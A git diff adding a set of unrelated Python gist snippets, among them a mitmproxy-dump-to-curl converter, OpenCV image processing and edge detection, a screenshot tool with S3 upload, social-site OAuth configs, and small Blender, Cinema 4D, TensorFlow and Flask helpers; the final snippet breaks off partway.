diff --git a/hard-gists/bdb31b04fb1e69fa5346/._snippet.py b/hard-gists/bdb31b04fb1e69fa5346/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/bdb31b04fb1e69fa5346/._snippet.py differ
diff --git a/hard-gists/bdb31b04fb1e69fa5346/snippet.py b/hard-gists/bdb31b04fb1e69fa5346/snippet.py
new file mode 100644
index 00000000..f538a09b
--- /dev/null
+++ b/hard-gists/bdb31b04fb1e69fa5346/snippet.py
@@ -0,0 +1,23 @@
+#!/usr/bin/env python
+#
+# Simple script showing how to read a mitmproxy dump file
+#
+
+### UPD: this feature is now avaiable in mitmproxy: https://github.com/mitmproxy/mitmproxy/pull/619
+
+from libmproxy import flow
+import json, sys
+
+with open("mitmproxy_dump.txt", "rb") as logfile:
+    freader = flow.FlowReader(logfile)
+    try:
+        for f in freader.stream():
+            request = f.request
+            print(request)
+            curl = 'curl -X ' + request.method + ' -d \'' + request.content + '\' ' + ' '.join(['-H ' + '"' + header[0] + ': ' + header[1] + '"' for header in request.headers])
+            curl += " https://" + request.host + request.path
+            print(curl)
+            print("--")
+
+    except flow.FlowReadError as v:
+        print("Flow file corrupted. Stopped loading.")
diff --git a/hard-gists/be6123c7ee3b366e333a/._snippet.py b/hard-gists/be6123c7ee3b366e333a/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/be6123c7ee3b366e333a/._snippet.py differ
diff --git a/hard-gists/be6123c7ee3b366e333a/snippet.py b/hard-gists/be6123c7ee3b366e333a/snippet.py
new file mode 100644
index 00000000..536977d6
--- /dev/null
+++ b/hard-gists/be6123c7ee3b366e333a/snippet.py
@@ -0,0 +1,80 @@
+from tsne import bh_sne
+import numpy as np
+from skimage.transform import resize
+
+from matplotlib import pyplot as plt
+
+def gray_to_color(img):
+    if len(img.shape) == 2:
+        img = np.dstack((img, img, img))
+    return img
+
+def min_resize(img, size):
+    """
+    Resize an image so that it is size along the minimum spatial dimension.
+    """
+    w, h = map(float, img.shape[:2])
+    if min([w, h]) != size:
+        if w <= h:
+            img = resize(img, (int(round((h/w)*size)), int(size)))
+        else:
+            img = resize(img, (int(size), int(round((w/h)*size))))
+    return img
+
+def image_scatter(features, images, img_res, res=4000, cval=1.):
+    """
+    Embeds images via tsne into a scatter plot.
+
+    Parameters
+    ---------
+    features: numpy array
+        Features to visualize
+
+    images: list or numpy array
+        Corresponding images to features. Expects float images from (0,1).
+
+    img_res: float or int
+        Resolution to embed images at
+
+    res: float or int
+        Size of embedding image in pixels
+
+    cval: float or numpy array
+        Background color value
+
+    Returns
+    ------
+    canvas: numpy array
+        Image of visualization
+    """
+    features = np.copy(features).astype('float64')
+    images = [gray_to_color(image) for image in images]
+    images = [min_resize(image, img_res) for image in images]
+    max_width = max([image.shape[0] for image in images])
+    max_height = max([image.shape[1] for image in images])
+
+    f2d = bh_sne(features)
+
+    xx = f2d[:, 0]
+    yy = f2d[:, 1]
+    x_min, x_max = xx.min(), xx.max()
+    y_min, y_max = yy.min(), yy.max()
+    # Fix the ratios
+    sx = (x_max-x_min)
+    sy = (y_max-y_min)
+    if sx > sy:
+        res_x = sx/float(sy)*res
+        res_y = res
+    else:
+        res_x = res
+        res_y = sy/float(sx)*res
+
+    canvas = np.ones((res_x+max_width, res_y+max_height, 3))*cval
+    x_coords = np.linspace(x_min, x_max, res_x)
+    y_coords = np.linspace(y_min, y_max, res_y)
+    for x, y, image in zip(xx, yy, images):
+        w, h = image.shape[:2]
+        x_idx = np.argmin((x - x_coords)**2)
+        y_idx = np.argmin((y - y_coords)**2)
+        canvas[x_idx:x_idx+w, y_idx:y_idx+h] = image
+    return canvas
\ No newline at end of file
diff --git a/hard-gists/be7e84c9d61c4869e981/._snippet.py b/hard-gists/be7e84c9d61c4869e981/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/be7e84c9d61c4869e981/._snippet.py differ
diff --git a/hard-gists/be7e84c9d61c4869e981/snippet.py b/hard-gists/be7e84c9d61c4869e981/snippet.py
new file mode 100644
index 00000000..aa35275c
--- /dev/null
+++ b/hard-gists/be7e84c9d61c4869e981/snippet.py
@@ -0,0 +1,224 @@
+#!/usr/local/bin/python
+# coding: utf-8
+
+import cv2
+import sys
+import numpy
+from matplotlib import pyplot as plt
+from scipy.spatial import distance
+
+"""
+OpenCV program to extract ticket stub images from photographs,
+via automatic perspective correction for quadrilateral objects.
+Intended for use prior to running through OCR.
+
+Developed for the website http://stub.town by Mark Boszko
+
+Based in large part on Python port of ScannerLite
+    https://gist.github.com/scturtle/9052852
+original C++
+    https://github.com/daisygao/ScannerLite
+Also incorporates ideas from:
+    http://opencv-code.com/tutorials/automatic-perspective-correction-for-quadrilateral-objects/
+    http://www.pyimagesearch.com/2015/04/06/zero-parameter-automatic-canny-edge-detection-with-python-and-opencv/
+"""
+
+
+class Line:
+    """
+    A line object
+    """
+    def __init__(self, l):
+        self.point = l
+        x1, y1, x2, y2 = l
+        self.c_x = (x1 + x2) / 2
+        self.c_y = (y1 + y2) / 2
+
+
+def show(image):
+    """
+    Show any image.
+    """
+    msg = 'press any key to continue'
+    cv2.namedWindow(msg, cv2.WINDOW_NORMAL)
+    cv2.imshow(msg, image)
+    cv2.waitKey(0)
+    cv2.destroyAllWindows()
+    
+
+def auto_canny(image, sigma=0.33):
+    """
+    Get edges of an image
+    image: grayscale and blurred input image
+    edged: canny edge output image
+    """
+    # compute the median of the single channel pixel intensities
+    v = numpy.median(image)
+    
+    # apply automatic Canny edge detection using the computed median
+    lower = int(max(0, (1.0 - sigma) * v))
+    upper = int(min(255, (1.0 + sigma) * v))
+    edged = cv2.Canny(image, lower, upper)
+ 
+    # return the edged image
+    return edged
+
+
+def intersection(l1, l2):
+    """
+    Compute intersect point of two lines l1 and l2
+    l1: line
+    l2: line
+    return: Intersect Point
+    """
+    x1, y1, x2, y2 = l1.point
+    x3, y3, x4, y4 = l2.point
+    a1, b1 = y2 - y1, x1 - x2
+    c1 = a1 * x1 + b1 * y1
+    a2, b2 = y4 - y3, x3 - x4
+    c2 = a2 * x3 + b2 * y3
+    det = a1 * b2 - a2 * b1
+    assert det, "lines are parallel"
+    return (1. * (b2 * c1 - b1 * c2) / det, 1. * (a1 * c2 - a2 * c1) / det)
+
+
+def scanCrop(image, debug=False):
+    """
+    Do the whole scanning thing.
+    image: input image
+    return: output image, cropped and perspective corrected
+    """
+    # resize input image to img_proc to reduce computation
+    h, w = image.shape[:2]
+    min_w = 300
+    scale = min(10., w * 1. / min_w)
+    h_proc = int(h * 1. / scale)
+    w_proc = int(w * 1. / scale)
+    image_dis = cv2.resize(image, (w_proc, h_proc))
+    if debug:
+        print(image.shape)
+        print(image_dis.shape)
+
+    # make grayscale
+    gray = cv2.cvtColor(image_dis, cv2.COLOR_BGR2GRAY)
+
+    # blur
+    gray = cv2.GaussianBlur(gray, (5,5), 0)
+
+    # get edges of the image
+    canny = auto_canny(gray)
+    if debug:
+        show(canny)
+
+    # extract lines from the edge image
+    # TODO: Seem good for given scale, but need more test images to confirm
+    threshold = 70
+    minLineLength = w_proc / 10
+    maxLineGap = w_proc / 30
+    lines = cv2.HoughLinesP(canny, 1, numpy.pi/180, threshold, None, minLineLength, maxLineGap)
+
+
+    if debug:
+        t = cv2.cvtColor(canny, cv2.COLOR_GRAY2BGR)
+
+    # classify lines into horizontal or vertical
+    hori, vert = [], []
+    for l in lines[0]:
+        x1, y1, x2, y2 = l
+        if abs(x1 - x2) > abs(y1 - y2):
+            hori.append(Line(l))
+        else:
+            vert.append(Line(l))
+        if debug:
+            cv2.line(t, (x1, y1), (x2, y2), (0, 0, 255), 1)
+    if debug:
+        show(t)
+
+    # edge cases when not enough lines are detected
+    # extend the known lines to the edge of the image to create a new line
+    if len(hori) < 2:
+        if not hori or hori[0].c_y > h_proc / 2:
+            hori.append(Line((0, 0, w_proc - 1, 0)))
+        if not hori or hori[0].c_y <= h_proc / 2:
+            hori.append(Line((0, h_proc - 1, w_proc - 1, h_proc - 1)))
+
+    if len(vert) < 2:
+        if not vert or vert[0].c_x > w_proc / 2:
+            vert.append(Line((0, 0, 0, h_proc - 1)))
+        if not vert or vert[0].c_x <= w_proc / 2:
+            vert.append(Line((w_proc - 1, 0, w_proc - 1, h_proc - 1)))
+
+    # sort lines according to their center point
+    hori.sort(key=lambda l: l.c_y)
+    vert.sort(key=lambda l: l.c_x)
+
+    # find corners
+    
+    if debug:
+        # Visualize corners for debug only
+        for l in [hori[0], vert[0], hori[-1], vert[-1]]:
+            x1, y1, x2, y2 = l.point
+            cv2.line(t, (x1, y1), (x2, y2), (0, 255, 255), 1)
+    
+    # corners for the small scale
+    image_points = [intersection(hori[0], vert[0]), intersection(hori[0], vert[-1]),
+               intersection(hori[-1], vert[0]), intersection(hori[-1], vert[-1])]
+    if debug:
+        print("image_points small", image_points)
+
+    # scale corners to the original size
+    for i, p in enumerate(image_points):
+        x, y = p
+        image_points[i] = (x * scale, y * scale)
+        if debug:
+            cv2.circle(t, (int(x), int(y)), 1, (255, 255, 0), 3)
+    if debug:
+        print("image_points large", image_points)
+        show(t)
+
+    # perspective transform
+    
+    # Proportional to the original image:
+    # image_points[0] is Upper Left corner
+    # image_points[1] is Upper Right corner
+    # image_points[2] is Lower Left corner
+    # image_points[3] is Lower Right corner
+    
+    top_width = distance.euclidean(image_points[0], image_points[1])
+    bottom_width = distance.euclidean(image_points[2], image_points[3])
+    # Average
+    output_width = int((top_width + bottom_width) / 2)
+    
+    left_height = distance.euclidean(image_points[0], image_points[2])
+    right_height = distance.euclidean(image_points[1], image_points[3])
+    # Average
+    output_height = int((left_height + right_height) / 2)
+    
+    if debug:
+        print(top_width, bottom_width, output_width)
+        print(left_height, right_height, output_height)
+    
+    dst_pts = numpy.array(
+        ((0, 0), (output_width - 1, 0), (0, output_height - 1), (output_width - 1, output_height - 1)),
+        numpy.float32)
+    image_points = numpy.array(image_points, numpy.float32)
+    transmtx = cv2.getPerspectiveTransform(image_points, dst_pts)
+    return cv2.warpPerspective(image, transmtx, (output_width, output_height))
+
+
+if __name__ == '__main__':
+    """
+    For testing
+    test.jpg: expect image in same folder as script, with rectangular object
+    test-crop.jpg: output cropped image; will overwrite if exists
+    """
+    image = cv2.imread('test.jpg')
+    
+    # If our test image needs to be rotated
+    image = numpy.rot90(image, 3)
+    
+    show(image)
+    output_image = scanCrop(image, debug=True)
+    show(output_image)
+    cv2.imwrite('test-crop.jpg',output_image)
+    print("Saved.")
\ No newline at end of file
diff --git a/hard-gists/bf576ee091e75071bc66/._snippet.py b/hard-gists/bf576ee091e75071bc66/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/bf576ee091e75071bc66/._snippet.py differ
diff --git a/hard-gists/bf576ee091e75071bc66/snippet.py b/hard-gists/bf576ee091e75071bc66/snippet.py
new file mode 100644
index 00000000..09fbb2fa
--- /dev/null
+++ b/hard-gists/bf576ee091e75071bc66/snippet.py
@@ -0,0 +1,26 @@
+#!/usr/bin/env python
+#encoding=utf-8
+ 
+# Convert image to Pwmout grayscale data for dot-matrix LED
+# Input image format can be JPEG, PNG etc
+
+from PIL import Image
+import sys
+
+if __name__ == "__main__":
+    argvs = sys.argv
+    argc = len(argvs)
+    if (argc != 2):
+        print 'Usage: # python %s filename' % argvs[0]
+        quit()
+
+    im = Image.open(argvs[1])
+    pix = im.load()
+
+    print "const float img[", im.size[0], "][", im.size[1], "] = {"
+    for y in range(0, im.size[1]):
+        for x in range(0, im.size[0]):
+            # conver RGB to grayscale
+            gray = (0.299 * pix[x,y][0] + 0.587 * pix[x,y][1] + 0.114 * pix[x,y][2])
+            print ((255-gray)/256), ","
+    print "};"
diff --git a/hard-gists/bfb45408d43986eefdf83b59bc9e8629/._snippet.py b/hard-gists/bfb45408d43986eefdf83b59bc9e8629/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/bfb45408d43986eefdf83b59bc9e8629/._snippet.py differ
diff --git a/hard-gists/bfb45408d43986eefdf83b59bc9e8629/snippet.py b/hard-gists/bfb45408d43986eefdf83b59bc9e8629/snippet.py
new file mode 100644
index 00000000..878001e7
--- /dev/null
+++ b/hard-gists/bfb45408d43986eefdf83b59bc9e8629/snippet.py
@@ -0,0 +1,280 @@
+#!/usr/bin/env python3
+"""
+screenpy.py - a CLI wrapper around OSX's screencapture for easy screenshotting. I use it all the time for blogging
+              technical tutorials that require a lot of screenshots:
+              http://2015.padjo.org/tutorials/mapping/077-ok-schools-quakes/
+
+Dependencies: Python 3.x, boto (for AWS S3 uploading), and PIL
+
+Standard usage:
+
+   $ screenpy /tmp/myimage.jpg
+
+   Gives you 2 seconds to switch back to your desktop/application before `screencapture` is executed in interactive mode,
+   allowing you to select/size a window for screenshotting. The resulting file is saved in the path, /tmp/myimage.jpg.
+
+   The following is output to STDERR:
+
+       Writing to: hello.jpg
+        Format: jpeg
+        optimize: True
+        quality: 75
+      ![image hello.jpg](/tmp/myimage.jpg)
+
+  The following is output to STDOUT for easy copy-pasting:
+
+      <img src="/tmp/myimage.jpg" alt="hello.jpg">
+
+Integration with S3: If you aren't using a static site generator, sometimes you want a remote URL. Adjust the `S3`
+global variables to your liking (e.g. S3_BUCKET and S3_DOMAIN), and then call screenpy as so:
+
+      $ screenpy --s3 myonlinepicture.png
+"""
+
+S3_BUCKET = 'cdan.danwin.com'
+S3_DOMAIN = 'http://cdan.danwin.com.s3-website-us-east-1.amazonaws.com/'
+S3_DEFAULT_SUBFOLDER = 'screenpy-caps'
+
+import argparse
+import boto3
+
+from datetime import datetime
+from os import makedirs, unlink
+from os.path import basename, dirname, expanduser, getsize, join, relpath, splitext
+from PIL import Image
+from subprocess import call
+from tempfile import NamedTemporaryFile
+from time import sleep
+from sys import stderr, stdout
+# http://stackoverflow.com/questions/89228/calling-an-external-command-in-python
+APPROVED_FORMAT_ALIASES = ['jpg', 'jpeg', 'gif', 'png']
+GIF_FORMAT = 'gif'
+JPEG_FORMAT = 'jpeg'
+PNG_FORMAT = 'png'
+JPG_QUALITY_MAX = 95
+JPG_QUALITY_DEFAULT = 75
+PNG_COMPRESS_LEVEL_MAX = 9
+PNG_COMPRESS_LEVEL_MIN = 0
+PNG_COMPRESS_LEVEL_DEFAULT = 3
+
+## DEFINE PARSER
+parser = argparse.ArgumentParser()
+parser.add_argument("output_path", nargs = 1, help = "Path to save file to")
+
+
+parser.add_argument('--alt-text', '-a',
+    type=str,
+    help ="alt text for image" )
+
+parser.add_argument('--best', '-b',
+    action = "store_true",
+    help ="Do not do any optimization or compression" )
+
+parser.add_argument('--format', '-f',
+    help ='Specify a format, such as jpg, png, gif' )
+
+parser.add_argument('--pause', '-p',
+    default = 2,
+    help ='Number of seconds to wait before taking the screenshot')
+
+parser.add_argument('--quality', '-q',
+    help ='Set a quality level from 0 to 100' )
+
+parser.add_argument('--s3', '-s', help='Send to S3', action="store_true")
+
+
+################ HELPER FUNCTIONS
+def get_canonical_format_name(ofmt):
+    o = ofmt.lower().strip()
+    # "jpg" must be "JPEG"
+    if o == "jpg" or o == 'jpeg':
+        return JPEG_FORMAT
+    elif o == 'gif':
+        return GIF_FORMAT
+    elif o == 'png':
+        return PNG_FORMAT
+    else:
+        oopsmsg = "Image output format or file extension was: %s\n It must be: %s" % (ofmt, ', '.join(APPROVED_FORMAT_ALIASES))
+        raise Exception(oopsmsg)
+
+
+
+def generate_s3_keyname(destname):
+    """ simply returns join with default s3 subfolder and destname """
+    return join(S3_DEFAULT_SUBFOLDER, destname)
+
+def generate_s3_url(destname):
+    return join(S3_DOMAIN, generate_s3_keyname(destname))
+
+
+def save_image(srcname, destname, output_format, **kwargs):
+    img = Image.open(tname).convert('RGBA')
+    img.info['screenshot-timestamp'] = datetime.now().isoformat()
+    img.save(destname, output_format, **kwargs)
+    return destname
+
+
+def tempscreencap(format='png'):
+    """Screencapture to a temporary filename with a given file extension
+    Returns: String, temporary filename, if screenshot taken
+    """
+    ## create a temp filename
+    tfile = NamedTemporaryFile(suffix='.' + format, delete=False)
+    tpath = tfile.name
+    # yield to user control and take the screenshot
+    call(["screencapture", "-i", "-o", "-s", tpath])
+    if getsize(tpath) == 0:
+        raise RuntimeError("No screenshot was taken.")
+    else:
+        return tpath
+
+
+def to_s3(srcname, destname, fileext=None):
+    """
+    MIME header based on destname extension by default, e.g.
+      'image/png' for 'example.png'
+
+    Returns the S3 URL for easy reference
+    """
+    fileext = fileext or splitext(destname)[1][1:]
+    s3 = boto3.resource('s3')
+    bucket = s3.Bucket(S3_BUCKET)
+    key = bucket.Object(generate_s3_keyname(destname))
+    with open(srcname, 'rb') as data:
+        key.upload_fileobj(data, {'ACL': 'public-read',
+                                  'ContentType': 'image/%s' % fileext})
+    return generate_s3_url(destname)
+
+
+
+if __name__ == '__main__':
+    #######################
+    # BEGIN ARGUMENT PARSING
+
+    ### CLI
+    args = parser.parse_args()
+    abs_output_path = expanduser(args.output_path[0])
+    output_path = relpath(abs_output_path)
+    alt_text = args.alt_text or basename(output_path)
+    pause_sec = int(args.pause)
+
+    ## determine optimization level
+    if args.best:
+        do_optimization_pass = False
+        qlevel = None
+
+    else:
+        do_optimization_pass = True
+        qlevel =  str(args.quality).lower() if args.quality else None
+
+    ## choose a format; either it's explicitly set via --format
+    if args.format:
+        _ofmt = args.format.lower()
+    else:  # or it is implicit in output_path's extension
+        _ofmt = splitext(output_path)[1].split('.')[-1].lower()
+        # by default, make it a PNG if there is no extension
+        _ofmt = _ofmt if _ofmt else 'png'
+
+    output_format = get_canonical_format_name(_ofmt)
+
+
+
+    # Save the file depending on output_format
+    ##############
+    # if output_format is jpg
+    # http://pillow.readthedocs.org/en/latest/handbook/image-file-formats.html#jpg
+    output_params = {}
+    if output_format == JPEG_FORMAT:
+        if do_optimization_pass:
+            if qlevel == 'max':
+                qlevel = JPG_QUALITY_MAX
+            else:
+                qlevel = int(qlevel) if qlevel else JPG_QUALITY_DEFAULT
+        else:
+            qlevel = JPG_QUALITY_MAX
+
+        output_params.update({'optimize':do_optimization_pass, 'quality': qlevel})
+    ##############
+    # if format is png
+    #
+    # http://pillow.readthedocs.org/en/latest/handbook/image-file-formats.html#png
+    # in the case of PNG files
+    #  (optimize = True) overrides compress_level
+    #    i.e. it will cause Image#save to automatically set
+    #    compress_level to MAX_PNG_COMPRESS_LEVEL
+    #    so instead, we set compress_level to the default and set optimize to False
+    #    since we don't want that optimize parameter to override compress_level
+    #
+    #  if user specifies --best-quality, then compress_level is set to MIN_PNG_COMPRESS_LEVEL
+    #    and optimize is set to False
+    elif output_format == PNG_FORMAT:
+        if do_optimization_pass:
+            if qlevel == 'max':
+                qlevel = PNG_COMPRESS_LEVEL_MAX
+            else:
+                if qlevel:
+                    qlevel = round((int(qlevel) / 100) * PNG_COMPRESS_LEVEL_MAX)
+                else:
+                    qlevel = PNG_COMPRESS_LEVEL_DEFAULT
+        else:
+            qlevel = PNG_COMPRESS_LEVEL_MIN
+
+        output_params.update({'optimize': False, 'compress_level': qlevel})
+    # if format is GIF
+    # there are no special parameters for GIF
+    elif output_format == GIF_FORMAT:
+        pass
+    else:
+        pass # meh why not
+
+    ## Make the parent directories for the output_path
+    ## TODO: MAke it not crash with relative dir
+    abs_dir = dirname(abs_output_path)
+    if abs_dir:
+        makedirs(abs_dir, exist_ok = True)
+
+    ## Might as well output information before we go to sleep...
+    stderr.write("\nWriting to: %s" % output_path)
+    stderr.write("\n\tFormat: %s" % output_format)
+    for key, val in output_params.items():
+        stderr.write("\n\t%s: %s" % (key, val))
+    stderr.write('\n')
+
+    HTML_TEMPLATE = """<img src="{src}" alt="{alt}">"""
+    MD_TEMPLATE = """![image {alt}]({src})"""
+
+
+    if(args.s3):
+        output_src_url = generate_s3_url(output_path)
+    else:
+        output_src_url = output_path
+
+    # We want to print markup and markdown to screen as quickly as possible
+    stderr.write(MD_TEMPLATE.format(src=output_src_url, alt=basename(output_path)))
+    stderr.write("\n")
+
+
+    # Output HTMl to stdout, for pipeable reasons
+    print(HTML_TEMPLATE.format(src=output_src_url, alt=basename(output_path)))
+
+
+    ### Begin file-writing process
+    ## Sleep
+    sleep(pause_sec)
+
+    ### Start the screencapture process
+    tname = tempscreencap(output_format)
+
+
+    if(args.s3):
+        _s3url = to_s3(srcname=tname, destname=output_path)
+        stderr.write("\n-----\nUploaded: \n%s\n\n" % _s3url)
+    else:
+        # reopen the saved screenshot file
+        save_image(tname, abs_output_path, output_format, **output_params)
+
+    # remove the temp screen grab file from memory
+    unlink(tname)
+
+
+
diff --git a/hard-gists/bfc2099235ac96937f34/._snippet.py b/hard-gists/bfc2099235ac96937f34/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/bfc2099235ac96937f34/._snippet.py differ
diff --git a/hard-gists/bfc2099235ac96937f34/snippet.py b/hard-gists/bfc2099235ac96937f34/snippet.py
new file mode 100644
index 00000000..60d33747
--- /dev/null
+++ b/hard-gists/bfc2099235ac96937f34/snippet.py
@@ -0,0 +1,61 @@
+# Twitter
+
+from app.config import TWITTER_APP_KEY, TWITTER_APP_SECRET
+
+twitter_oauth = oauth.remote_app(
+    'twitter',
+    consumer_key=TWITTER_APP_KEY,
+    consumer_secret=TWITTER_APP_SECRET,
+    base_url='https://api.twitter.com/1.1/',
+    request_token_url='https://api.twitter.com/oauth/request_token',
+    access_token_url='https://api.twitter.com/oauth/access_token',
+    authorize_url='https://api.twitter.com/oauth/authenticate',
+)
+
+
+# Facebook
+
+from app.config import FACEBOOK_APP_KEY, FACEBOOK_APP_SECRET
+
+facebook_oauth = oauth.remote_app(
+    'facebook',
+    consumer_key=FACEBOOK_APP_KEY,
+    consumer_secret=FACEBOOK_APP_SECRET,
+    request_token_params={'scope': 'email'},
+    base_url='https://graph.facebook.com',
+    request_token_url=None,
+    access_token_url='/oauth/access_token',
+    authorize_url='https://www.facebook.com/dialog/oauth'
+)
+
+
+# Instagram
+
+from app.config import INSTAGRAM_APP_KEY, INSTAGRAM_APP_SECRET
+
+instagram_oauth = oauth.remote_app(
+    'instagram',
+    consumer_key=INSTAGRAM_APP_KEY,
+    consumer_secret=INSTAGRAM_APP_SECRET,
+    base_url='https://api.instagram.com/',
+    request_token_url=None,
+    access_token_method='POST',
+    access_token_url='https://api.instagram.com/oauth/access_token',
+    authorize_url='https://api.instagram.com/oauth/authorize',
+)
+
+
+# VK
+
+from app.config import VK_APP_KEY, VK_APP_SECRET
+
+vk_oauth = oauth.remote_app(
+    'vk',
+    consumer_key=VK_APP_KEY,
+    consumer_secret=VK_APP_SECRET,
+    request_token_params={'scope': 'email'},
+    base_url='https://api.vk.com/method/',
+    request_token_url=None,
+    access_token_url='https://oauth.vk.com/access_token',
+    authorize_url='https://oauth.vk.com/authorize'
+)
\ No newline at end of file
diff --git a/hard-gists/c01b65369b71c35431c8/._snippet.py b/hard-gists/c01b65369b71c35431c8/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/c01b65369b71c35431c8/._snippet.py differ
diff --git a/hard-gists/c01b65369b71c35431c8/snippet.py b/hard-gists/c01b65369b71c35431c8/snippet.py
new file mode 100644
index 00000000..49580527
--- /dev/null
+++ b/hard-gists/c01b65369b71c35431c8/snippet.py
@@ -0,0 +1,39 @@
+import c4d
+from c4d import gui, documents
+
+def main():
+    # BaseDraw
+    bd = doc.GetActiveBaseDraw()
+  
+    # The camera view
+    view = bd.GetSafeFrame()
+
+    # Check if poly object
+    if op is None:
+        gui.MessageDialog('Please select an objcet')
+        return
+    if op.GetType() != c4d.Opolygon:
+        gui.MessageDialog('Objcet needs to be of type polygon')
+        return
+
+    # Get all points in object
+    bs = op.GetPointS()
+
+    for pt in xrange(op.GetPointCount()):
+      
+        # Get global position of point 'pt'
+        pointGlobal = op.GetMg() * op.GetPoint(pt)
+      
+        # Split pointGlobal
+        pointX = bd.WS(pointGlobal)[0]
+        pointY = bd.WS(pointGlobal)[1]
+      
+        # Check if point is inside SafeFrame 'view'
+        if pointX > 0 and pointX < view['cr']:
+            if pointY > view['ct'] and pointY < view['cb']:
+                bs.Select(pt)
+
+    c4d.EventAdd()
+    
+if __name__=='__main__':
+    main()
\ No newline at end of file
diff --git a/hard-gists/c063bddb9b8d17a037695d748db4f592/._snippet.py b/hard-gists/c063bddb9b8d17a037695d748db4f592/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/c063bddb9b8d17a037695d748db4f592/._snippet.py differ
diff --git a/hard-gists/c063bddb9b8d17a037695d748db4f592/snippet.py b/hard-gists/c063bddb9b8d17a037695d748db4f592/snippet.py
new file mode 100644
index 00000000..571a464f
--- /dev/null
+++ b/hard-gists/c063bddb9b8d17a037695d748db4f592/snippet.py
@@ -0,0 +1,27 @@
+# This file is useful for reading the contents of the ops generated by ruby.
+# You can read any graph defination in pb/pbtxt format generated by ruby
+# or by python and then convert it back and forth from human readable to binary format.
+
+import tensorflow as tf
+from google.protobuf import text_format
+from tensorflow.python.platform import gfile
+
+def pbtxt_to_graphdef(filename):
+  with open(filename, 'r') as f:
+    graph_def = tf.GraphDef()
+    file_content = f.read()
+    text_format.Merge(file_content, graph_def)
+    tf.import_graph_def(graph_def, name='')
+    tf.train.write_graph(graph_def, 'pbtxt/', 'protobuf.pb', as_text=False)
+
+def graphdef_to_pbtxt(filename): 
+  with gfile.FastGFile(filename,'rb') as f:
+    graph_def = tf.GraphDef()
+    graph_def.ParseFromString(f.read())
+    tf.import_graph_def(graph_def, name='')
+    tf.train.write_graph(graph_def, 'pbtxt/', 'protobuf.pbtxt', as_text=True)
+  return
+
+
+graphdef_to_pbtxt('graph.pb')  # here you can write the name of the file to be converted
+# and then a new file will be made in pbtxt directory.
diff --git a/hard-gists/c078cabc0a48f2570028bff397a9e154/._snippet.py b/hard-gists/c078cabc0a48f2570028bff397a9e154/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/c078cabc0a48f2570028bff397a9e154/._snippet.py differ
diff --git a/hard-gists/c078cabc0a48f2570028bff397a9e154/snippet.py b/hard-gists/c078cabc0a48f2570028bff397a9e154/snippet.py
new file mode 100644
index 00000000..2009ac92
--- /dev/null
+++ b/hard-gists/c078cabc0a48f2570028bff397a9e154/snippet.py
@@ -0,0 +1,41 @@
+"""
+edges.py: Canny, Prewitt and Sobel Edge detection using opencv
+"""
+__author__      = "K.M. Tahsin Hassan Rahit"
+__email__ = "tahsin.rahit@gmail.com"
+
+import cv2
+import numpy as np
+
+img = cv2.imread('messi5.jpg')
+gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
+img_gaussian = cv2.GaussianBlur(gray,(3,3),0)
+
+#canny
+img_canny = cv2.Canny(img,100,200)
+
+#sobel
+img_sobelx = cv2.Sobel(img_gaussian,cv2.CV_8U,1,0,ksize=5)
+img_sobely = cv2.Sobel(img_gaussian,cv2.CV_8U,0,1,ksize=5)
+img_sobel = img_sobelx + img_sobely
+
+
+#prewitt
+kernelx = np.array([[1,1,1],[0,0,0],[-1,-1,-1]])
+kernely = np.array([[-1,0,1],[-1,0,1],[-1,0,1]])
+img_prewittx = cv2.filter2D(img_gaussian, -1, kernelx)
+img_prewitty = cv2.filter2D(img_gaussian, -1, kernely)
+
+
+cv2.imshow("Original Image", img)
+cv2.imshow("Canny", img_canny)
+cv2.imshow("Sobel X", img_sobelx)
+cv2.imshow("Sobel Y", img_sobely)
+cv2.imshow("Sobel", img_sobel)
+cv2.imshow("Prewitt X", img_prewittx)
+cv2.imshow("Prewitt Y", img_prewitty)
+cv2.imshow("Prewitt", img_prewittx + img_prewitty)
+
+
+cv2.waitKey(0)
+cv2.destroyAllWindows()
\ No newline at end of file
diff --git a/hard-gists/c0fdb29ddf0d338bcbd021b68f5bea51/._snippet.py b/hard-gists/c0fdb29ddf0d338bcbd021b68f5bea51/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/c0fdb29ddf0d338bcbd021b68f5bea51/._snippet.py differ
diff --git a/hard-gists/c0fdb29ddf0d338bcbd021b68f5bea51/snippet.py b/hard-gists/c0fdb29ddf0d338bcbd021b68f5bea51/snippet.py
new file mode 100644
index 00000000..348fc965
--- /dev/null
+++ b/hard-gists/c0fdb29ddf0d338bcbd021b68f5bea51/snippet.py
@@ -0,0 +1,14 @@
+import bpy
+#in armature you have mirror names
+#this do the similar but for other objects (outside armatures)
+
+def mirrorname(o):
+    if o.name[-5:-4] == "L":
+        o.name = o.name[:-5] + "R"
+    elif o.name[-5:-4] == "R":
+        o.name = o.name[:-5] + "L"
+ 
+for o in bpy.context.selected_objects:
+    if o.name[-4:-3] == '.':
+        if o.name[-5:-4] == "L" or o.name[-5:-4] == "R":
+            mirrorname(o)
diff --git a/hard-gists/c12be33cdcd9a86f20a2/._snippet.py b/hard-gists/c12be33cdcd9a86f20a2/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/c12be33cdcd9a86f20a2/._snippet.py differ
diff --git a/hard-gists/c12be33cdcd9a86f20a2/snippet.py b/hard-gists/c12be33cdcd9a86f20a2/snippet.py
new file mode 100644
index 00000000..beec3695
--- /dev/null
+++ b/hard-gists/c12be33cdcd9a86f20a2/snippet.py
@@ -0,0 +1,13 @@
+from flask.ext.sqlalchemy import SQLAlchemy
+
+def get_model(self, name):
+    return self.Model._decl_class_registry.get(name, None)
+SQLAlchemy.get_model = get_model
+
+def get_model_by_tablename(self, tablename):
+  for c in self.Model._decl_class_registry.values():
+    if hasattr(c, '__tablename__') and c.__tablename__ == tablename:
+      return c
